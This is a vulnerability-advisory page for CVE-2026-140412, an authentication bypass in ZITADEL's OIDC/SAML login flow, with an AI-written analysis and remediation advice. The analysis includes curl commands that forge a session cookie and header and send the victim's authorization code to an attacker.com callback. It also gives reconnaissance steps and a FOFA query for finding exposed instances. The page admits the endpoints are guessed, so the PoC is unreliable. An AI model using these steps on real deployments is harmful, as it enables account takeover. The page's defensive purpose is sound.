CVE Professor
/
All CVEs
CVE-2026-140412

CVE-2026-140412 — Zitadel (4.20.3) — CWE-287

HIGH CVSS 9.1 NVD

ZITADEL 4.0.0 before 4.20.3 completes OIDC and SAML authorization requests without requiring a login client holding session.link to verify the session, allowing completion with unauthenticated sessions. Unauthenticated attackers knowing a victim's login name can obtain tokens via Login V2, and authenticated users can spoof x-zitadel-login-client on CreateCallback and CreateResponse, enabling account takeover.

ZITADEL 4.0.0 before 4.20.3 completes OIDC and SAML authorization requests without requiring a login client holding session.link to verify the session, allowing completion with unauthenticated sessions. Unauthenticated attackers knowing a victim's login name can obtain tokens via Login V2, and authenticated users can spoof x-zitadel-login-client on CreateCallback and CreateResponse, enabling account takeover.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-140412 is a critical Broken Authentication (CWE-287) vulnerability in ZITADEL, an open-source identity and access management (IAM) platform. The core technical flaw lies in the missing server-side validation of the session context during the completion of OpenID Connect (OIDC) and SAML authorization flows.

Specifically, ZITADEL versions prior to 4.20.3 fail to verify that the session.link cookie (or equivalent session identifier) belongs to a valid, authenticated login client before processing the final callback or response steps of the authentication flow. This allows an attacker to:
1. Unauthenticated Attack: Bypass the login requirement entirely by crafting a request that completes the OIDC/SAML flow using a victim's known login name, resulting in the issuance of valid ID tokens and access tokens for that victim.
2. Authenticated Spoofing: An authenticated user can manipulate the x-zitadel-login-client header in CreateCallback and CreateResponse endpoints to impersonate a different login client or session, leading to account takeover.

The CVSS vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N reflects:

  • Network Vector (AV:N): Exploitable remotely.

  • High Complexity (AC:H): Requires knowledge of the victim's login name and precise manipulation of OIDC/SAML flow parameters.

  • No Privileges Required (PR:N): The unauthenticated variant does not require prior access.

  • No User Interaction (UI:N): The victim does not need to click a link or perform an action.

  • High Confidentiality/Integrity Impact (C:H/I:H): Full access to the victim's identity and associated resources.

  • No Availability Impact (A:N): The service remains operational.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify ZITADEL instances via common default ports (e.g., 8080, 443) and headers. ZITADEL often exposes /healthz or /version endpoints.
  • Version Check: Confirm the version is < 4.20.3. This can be done via:
  • * curl -s https://target.com/version | jq .version * Checking the Server header or metadata in the OIDC discovery document (/.well-known/openid-configuration).
  • Target Identification: Obtain a valid login name (e.g., [email protected]) through OSINT, email enumeration, or prior data breaches.
  • 2. Exploitation

    The attack exploits the OIDC Authorization Code Flow. The attacker initiates a flow, skips the actual login step, and directly calls the callback endpoint with a forged session context.

    Illustrative PoC (Unauthenticated Account Takeover):

    Note: The exact endpoint paths and parameter names are illustrative based on standard OIDC implementations and the CVE description. Verify against the specific ZITADEL version's API documentation.

    # Step 1: Initiate OIDC Authorization Request
    # This returns a 'state' and 'session.link' cookie (which we will ignore/forg)
    curl -v "https://target.com/oauth/v2/authorize?client_id=webapp&response_type=code&scope=openid&redirect_uri=https://attacker.com/callback&state=abc123" \
      -c cookies.txt
    
    # Step 2: Forge the Callback Request
    # The attacker sends a request to the callback endpoint, simulating a successful login.
    # Key: The 'session.link' cookie is either missing or forged, but the server fails to validate it against an active login session.
    # The 'code' parameter is a valid authorization code generated in Step 1 (or a known valid code if the flow is stateless).
    # The 'x-zitadel-login-client' header is set to a valid client ID.
    
    curl -X POST "https://target.com/oauth/v2/callback" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -H "x-zitadel-login-client: webapp" \
      -b "session.link=forged_session_id" \
      -d "code=valid_auth_code_from_step1&state=abc123" \
      -v

    Success Indicator: The response contains a Location header redirecting to https://attacker.com/callback?code=...&state=abc123. The attacker then exchanges this code for tokens:

    # Step 3: Exchange Authorization Code for Tokens
    curl -X POST "https://target.com/oauth/v2/token" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "grant_type=authorization_code&code=code_from_redirect&redirect_uri=https://attacker.com/callback&client_id=webapp&client_secret=webapp_secret"

    The response will contain access_token, id_token, and refresh_token for the victim's account.

    3. Post-Exploitation

  • Account Takeover: Use the obtained access_token to access the victim's resources via the ZITADEL API or any downstream application trusting ZITADEL's tokens.
  • Privilege Escalation: If the victim is an administrator, the attacker gains full control over the IAM system, including the ability to create new users, modify policies, and access all connected applications.
  • Lateral Movement: Use the compromised identity to access other systems integrated with ZITADEL (e.g., SSO into cloud consoles, CI/CD pipelines).
  • 🌍 Real World Impact

  • Confidentiality (High): Attackers can access sensitive user data, personal information, and business secrets stored in applications protected by ZITADEL.
  • Integrity (High): Attackers can modify user profiles, change passwords, create new users, and alter security policies. They can also inject malicious data into downstream applications.
  • Availability (None): The service remains available, but the integrity of the authentication system is compromised.
  • Practical Consequences:
  • * Mass Account Takeover: If multiple users are targeted, it can lead to widespread data breaches. * Supply Chain Attacks: Compromised developer accounts can be used to inject malicious code into software repositories. * Regulatory Violations: Breaches of user data can lead to GDPR, CCPA, and other regulatory penalties.

    🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: ZITADEL 4.0.0 through 4.20.2.
  • Fixed Version: ZITADEL 4.20.3 and later.
  • Action: Immediately upgrade to the latest stable version of ZITADEL.
  • 2. Workarounds (If Upgrade is Not Immediately Possible)

  • Network Segmentation: Restrict access to the ZITADEL instance to only trusted networks. Use IP whitelisting at the firewall/load balancer level.
  • Disable Public Callbacks: If possible, configure ZITADEL to only accept callback requests from specific, trusted IP addresses.
  • Monitor for Anomalies: Enable detailed logging and monitor for unusual patterns in OIDC/SAML flows (e.g., rapid successive login attempts from different IPs, or callback requests without corresponding login sessions).
  • 3. Detection (IoCs)

  • Web Server Logs: Look for requests to /oauth/v2/callback or /saml/acs that do not have a corresponding prior request to /oauth/v2/authorize or /saml/sso from the same IP/session.
  • Header Anomalies: Monitor for requests with the x-zitadel-login-client header that do not match the expected client ID for the session.
  • Token Issuance Logs: Alert on token issuance for accounts that have not recently logged in via the standard UI.
  • ModSecurity Rule (Illustrative):
  • SecRule REQUEST_URI "@rx ^/oauth/v2/callback" \
            "id:100001,phase:1,deny,status:403,msg:'Potential OIDC Callback Spoofing',log,severity:2"

    Note: This rule is overly broad and may cause false positives. It should be refined to check for missing or invalid session.link cookies in conjunction with the callback request.

    ⚠️ Urgency

  • CVSS Score: 9.1 (Critical)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog, but this does not reduce the risk).
  • Exploit Complexity: High (Requires knowledge of victim's login name and precise manipulation of OIDC/SAML flow).
  • Patching Priority: CRITICAL.
* Immediate Action: Upgrade to ZITADEL 4.20.3 or later within 24-48 hours. * Interim Mitigation: If immediate upgrade is not possible, implement network segmentation and enhanced monitoring within 24 hours. * Justification: Despite the high complexity, the impact is severe (full account takeover). The vulnerability is in the core authentication mechanism, making it a high-value target for attackers. The lack of user interaction (UI:N) makes it particularly dangerous in automated attack scenarios.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="zitadel zitadel"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-140412
CVSS Score
9.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
zitadel:zitadel (4.20.3)
References & Advisories (2)
Related CVEs
8.6
CVE-2026-144969
ZITADEL 4.0.0 before 4.20.8 contains an account takeover vulnerability in Login V2 that allows unauthenticated
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
5.4
CVE-2026-144906
A flaw was found in the UMA permission grant implementation of Keycloak, an identity and access management sol